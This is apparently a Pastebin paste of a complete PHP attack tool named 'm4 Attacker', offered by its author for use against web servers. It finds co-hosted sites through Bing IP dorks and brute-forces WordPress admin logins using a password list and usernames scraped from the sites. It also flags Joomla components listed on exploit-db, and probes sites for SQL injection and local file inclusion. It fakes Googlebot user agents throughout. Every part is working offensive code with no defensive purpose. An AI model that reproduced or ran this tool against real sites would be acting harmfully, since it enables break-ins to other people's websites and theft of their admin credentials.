inj3ctor_m4

attacker.php m4_Ghoul Collection [Exclusive]

Apr 14th, 2015
972
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 10.51 KB | None | 0 0
  1. <?php
  2. #Hiroshima_Warriorz
  3. #m4 Attacker V1.0
  4. /*
  5.     INJ3CTOR_M4
  6.     MOROCCAN HAXORZ
  7. */
  8. @set_time_limit(0);
  9. error_reporting(0);
  10.  
  11. $opt = getopt('r:w:p:j:s:f:i:l'); // getopt function
  12. echo"
  13.            _____      _____   __    __                 __                
  14.  _____    /  |  |    /  _  \_/  |__/  |______    ____ |  | __ ___________
  15. /     \  /   |  |_  /  /_\  \   __\   __\__  \ _/ ___\|  |/ // __ \_  __ \
  16. |  Y Y  \/    ^   / /    |    \  |  |  |  / __ \\  \___|    <\  ___/|  | \/
  17. |__|_|  /\____   |  \____|__  /__|  |__| (____  /\___  >__|_ \\___  >__|  
  18.      \/      |__|          \/                \/     \/     \/    \/      
  19.  
  20. ";
  21.  
  22. if(isset($opt['r'])){
  23.     $remoteAddress = $opt['r'];
  24.     echo info_ip($remoteAddress); // print resultat
  25. }elseif(isset($opt['w']) && isset($opt['p'])){  $passwords = list_get_contents($opt['p']);
  26.     // Wordpress Grabber By INJ3CTOR_M4
  27.    
  28.     $ip = $opt['w'];
  29.     $dork = "ip:$ip /?page_id=";
  30.     $sites = bing_dorker($dork);
  31.     foreach($sites as $site){
  32.         // Check if WordPress
  33.         if(eregi("page_id=", $site)){   $site = pathinfo($site)['dirname'];
  34.             $data = get_source($site    .   "/wp-includes/wlwmanifest.xml");
  35.             if(preg_match('#<clientType>WordPress</clientType>#i', $data)){
  36.                 $wpLinks[] = $site;
  37.             }
  38.         }
  39.     }
  40.     if(!empty($wpLinks)){   $wpLinks = array_unique($wpLinks);
  41.         foreach($wpLinks as $wordpress){    echo"\r\n[+] $wordpress :\r\n";
  42.             $user=admin_wp($wordpress); // get admin username
  43.             echo"\t[+] Username: $user\r\n";
  44.             echo"\t[!] Trying " .   sizeof($passwords)  .   " Password, ";
  45.             foreach($passwords as $pass){ // Load Passwords
  46.                 $result=WP($wordpress, $user, $pass); // Start Bruteforce
  47.                 if($result == true){
  48.                     echo"\r\n\t[+] Cracked - Password: $pass\r\n";
  49.                     break;
  50.                 }
  51.             }   echo"Finished - Not Cracked!\r\n";
  52.         }
  53.     }
  54. }elseif(isset($opt['j'])){
  55.     // Joomla Grabber By INJ3CTOR_M4
  56.    
  57.     $ip = $opt['j'];
  58.     $dork = "ip:$ip index.php?option=com";
  59.     $sites = bing_dorker($dork);
  60.     foreach($sites as $site){
  61.         // Check if Joomla
  62.         if(preg_match('/option/', $site)){  $site = pathinfo($site)['dirname'];
  63.             $data = get_source($site    .   "/administrator/index.php");
  64.             if(preg_match('/Joomla!/', $data)){
  65.                 $joomLinks[] = $site;
  66.             }
  67.         }
  68.     }
  69.     if(!empty($joomLinks)){ $joomLinks = array_unique($joomLinks);
  70.         foreach($joomLinks as $joomla){ echo"\r\n[+] $joomla :\r\n";
  71.             $composents=jos_composent($joomla); // Get Composents
  72.             if(count($composents)>0){
  73.                 foreach($composents as $composent){ // Load Composents
  74.                     $result=ExpDB($composent); // Scan Composent
  75.                     if($result == true){
  76.                         echo"\t[+] $composent\tVulnerable!\r\n";
  77.                     }else{  echo"\t[-] $composent\r\n"; }
  78.                 }
  79.             }else{  echo"\t[!] There is No Composent\r\n";  }
  80.         }
  81.     }
  82. }elseif(isset($opt['s'])){
  83.     // SQLi Server Scanner By INJ3CTOR_M4
  84.    
  85.     $ip = $opt['s'];
  86.     $dorks = array('?id=', '.php?id=', '.php?category=', '.php?cat=', '.php?article_id=', '.php?product_id=', '?attachment_id=', '.php?num=', '.php?idProduct=', '.php?idCategory=', '.php?cartID=', '.php?catid=', '.php?item_id=', '.php?keyword=', '.php?Item=');
  87.     foreach($dorks as $dork){
  88.         $query = "ip:$ip $dork";
  89.         $sites = bing_dorker($query);
  90.         foreach($sites as $site){
  91.             $data = get_source($site    .   "%27");
  92.             if(preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch_row()|SELECT * FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i", $data)){
  93.                 echo"[+] $site Vulnerable!\r\n";
  94.             }else{  echo"[-] $site Note Vulnerable!\r\n";   }
  95.         }
  96.     }
  97. }elseif(isset($opt['f'])){
  98.     // LFI Server Scanner By INJ3CTOR_M4
  99.    
  100.     $ip = $opt['f'];
  101.     $dorks = array('.php?action=', '.php?act=', '.php?download=', '.php?file=', '.php?filename=', '.php?f=', '.php?page=', '.php?pg=', '.php?pagina=', '.php?main=', '.php?viewpage=', '.php?show=', '.php?lang=', '.php?language=', '.php?logon=', '.php?c=', '.php?topic=', '.php?go=');
  102.     foreach($dorks as $dork){
  103.         $query = "ip:$ip $dork";
  104.         $sites = bing_dorker($query);
  105.         foreach($sites as $site){
  106.             $url = _Fix($site);
  107.             $data = get_source($url .   '__m4__');
  108.             if(preg_match("/failed to open stream/i", $data)){ // scan if vulnerable
  109.                 echo"[+] $url Vulnerable!\r\n";
  110.             }else{  echo"[-] $site Note Vulnerable!\r\n";   }
  111.         }
  112.     }
  113. }elseif(isset($opt['i']) && isset($opt['l'])){  $list = list_get_contents($opt['l']);
  114.     $ip = $opt['i'];
  115.     // Reverse iP By INJ3CTOR_M4
  116.    
  117.     $allLinks = bing_dorker($ip);
  118.     foreach($allLinks as $link){
  119.         $site = parse_url ($link);
  120.         $sites[] = $site['scheme']."://".$site['host'];
  121.     }
  122.     $sites = array_unique($sites); // unique resultat
  123.     $ch = curl_init();
  124.     foreach($sites as $site){ // load websites
  125.         foreach($list as $path){ // load path list
  126.             curl_setopt($ch, CURLOPT_URL, $site.$path);
  127.             curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  128.             curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; pt-pt) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27");
  129.             curl_setopt($ch, CURLOPT_NOBODY, true);
  130.             curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  131.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  132.             curl_setopt($ch, CURLOPT_VERBOSE, false);
  133.             curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  134.             curl_exec($ch);
  135.             if(curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200){ // check if found or not
  136.                 echo"[+] $site$path ...Ok!\r\n";
  137.             }
  138.         }
  139.     }
  140. }else{
  141.     echo"\r\n[!] OPTIONS:\r\n\t -r Get Server iP Informations\r\n\t -w [127.0.0.1] -p pass.txt // Wordpress Server Bruteforcer\r\n\t -j Joomla Server Scanner\r\n\t -s SQLi Server Scanner\r\n\t -f LFI Server Scanner\r\n\t -i [127.0.0.1] -l path.txt // Server Path Scanner\r\n";
  142. }
  143.  
  144. // iP Information Grabber Function By INJ3CTOR_M4
  145. function info_ip($ip){
  146.     $result .="\r\n==========================================================\r\n";
  147.     $result .="[*] remoteAddress    :   {$ip}\r\n";
  148.     $data = json_decode(file_get_contents("http://ip-api.com/json/" .   $ip));
  149.     if($data->{"status"} != "fail"){
  150.         $result .="[*] country  :   "   .   $data->{"country"}  .   "\r\n";
  151.         $result .="[*] ISP NAME :   "   .   $data->{"isp"}  .   "\r\n";
  152.     }
  153.     $ch = curl_init();
  154.     curl_setopt($ch, CURLOPT_URL, 'http://domains.yougetsignal.com/domains.php');
  155.     curl_setopt($ch, CURLOPT_POST, 1);
  156.     curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress="   .   $ip);
  157.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  158.     $data = json_decode(curl_exec($ch));
  159.     curl_close($ch);
  160.     if($data->{"status"} != "Fail"){
  161.         $result .="[*] domainCount  :   "   .$data->{"domainCount"} .   "\r\n";
  162.     }
  163.     if(fsockopen($ip, 80)){
  164.         $data = get_source("http://$ip/");
  165.         if(preg_match("#<title>(.*?)</title>#i", $data, $matches)){
  166.             $result .="[*] title    :   {$matches['1']}"    .   "\r\n";
  167.         }
  168.     }elseif(fsockopen($ip, 443)){
  169.         $data = get_source("https://$ip/");
  170.         if(preg_match("#<title>(.*?)</title>#i", $data, $matches)){
  171.             $result .="[*] title    :   {$matches['1']}"    .   "\r\n";
  172.         }
  173.     }
  174.     $result .="==========================================================\r\n";
  175.    
  176.     return $result;
  177. }
  178.  
  179. function bing_dorker($dork){
  180.     $ch = curl_init();
  181.     $i = 1;
  182.     while($i){
  183.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  184.         curl_setopt($ch, CURLOPT_URL, "http://www.bing.com/search?q="   .   urlencode($dork)    .   "&first={$i}");
  185.         curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
  186.         curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  187.         curl_setopt($ch, CURLOPT_USERAGENT, "SamsungI8910/SymbianOS/9.1 Series60/3.0");
  188.         curl_setopt($ch, CURLOPT_ENCODING, "gzip, deflate, compress");
  189.         $data = curl_exec($ch);
  190.         preg_match_all('#<h2 class="sb_h3 cttl"><a href="(.*?)"#i', $data, $matches);
  191.         foreach($matches[1] as $link){
  192.             $allLinks[] = $link;
  193.         }
  194.         if(!preg_match('#class="sb_pagN"#i', $data)) break;
  195.         $i+=10;
  196.     }
  197.     curl_close($ch);
  198.     if(!empty($allLinks) && is_array($allLinks)){
  199.         return array_unique($allLinks);
  200.     }
  201. }
  202.  
  203. function list_get_contents($file){
  204.     $data = file($file);
  205.     return array_unique(array_map("trim", $data));
  206. }
  207.  
  208. function admin_wp($wp){
  209.     $data = get_source($wp    .    "/?feed=atom");
  210.     if(preg_match('#<name>(.*?)</name>#', $data, $user)){
  211.         if(strlen($user[1]) > 0 && strlen($user[1]) <= 15){
  212.             return $user[1];
  213.         }
  214.     }else{
  215.         $data = get_source($wp    .    "/?author=1");
  216.         if(preg_match('#<body class="archive author author-(.*?) author-(.*?)(.*)">#i', $data, $user)){
  217.             return $user[1];
  218.         }else{
  219.             return "admin";
  220.         }
  221.     }
  222. }
  223.  
  224. function WP($site, $user, $pass){
  225.     $ch = curl_init();
  226.     $to = $site    .    "/wp-admin/";
  227.     curl_setopt($ch, CURLOPT_URL, $site    .    "/wp-login.php");
  228.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  229.     curl_setopt($ch, CURLOPT_USERAGENT, "Googlebot/2.1 (+http://www.google.com/bot.html)");
  230.     curl_setopt($ch, CURLOPT_COOKIE, "wordpress_test_cookie=WP+Cookie+check");
  231.     curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd()    .    '/cookie.txt');
  232.     curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd()    .    '/cookie.txt');
  233.     curl_setopt($ch, CURLOPT_POST, 1);
  234.     curl_setopt($ch, CURLOPT_POSTFIELDS, "log=".$user."&pwd=".$pass."&wp-submit=Log+In&redirect_to=".$to."&testcookie=1");
  235.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  236.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  237.     $data = curl_exec($ch);
  238.     return (preg_match('/logout/', $data)) ? true:false;
  239. }
  240.  
  241. function jos_composent($url){
  242.   $source = get_source($url);
  243.   preg_match_all('{option,(.*?)/}i', $source, $f);
  244.   preg_match_all('{option=(.*?)(&amp;|&|")}i', $source, $f2);
  245.   preg_match_all('{/components/(.*?)/}i', $source, $f3);
  246.   return cln_arr(@ array_merge($f2[1], $f[1], $f3[1]));
  247. }
  248.  
  249. function cln_arr($array){
  250.   return @ array_filter(@ array_unique($array));
  251. }
  252.  
  253. function ExpDB($Bug){
  254.     $ghdb = "http://www.exploit-db.com/search/?action=search&filter_exploit_text=";
  255.     return (!preg_match("/No results/", get_source($ghdb    .   $Bug))) ? true:false;
  256. }
  257.  
  258. function _Fix($site){ preg_match_all("#(.*?)?(.*?)=(.*?)#", $site, $res); return $res[2][0]."="; }
  259.  
  260. function get_source($link, $agent=false){
  261.     if(!$agent){ $agent='Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'; }
  262.     if(!function_exists('curl_init')){
  263.         return file_get_contents($link);
  264.     }else{
  265.         $ch = curl_init();
  266.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  267.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  268.         curl_setopt($ch, CURLOPT_URL, $link);
  269.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  270.         curl_setopt($ch, CURLOPT_USERAGENT, $agent);
  271.         curl_setopt($ch, CURLOPT_ENCODING, 0);
  272.         curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  273.         $data = curl_exec($ch);
  274.         curl_close($ch);
  275.        
  276.         return $data;
  277.     }
  278. }
Advertisement
Add Comment
Please, Sign In to add comment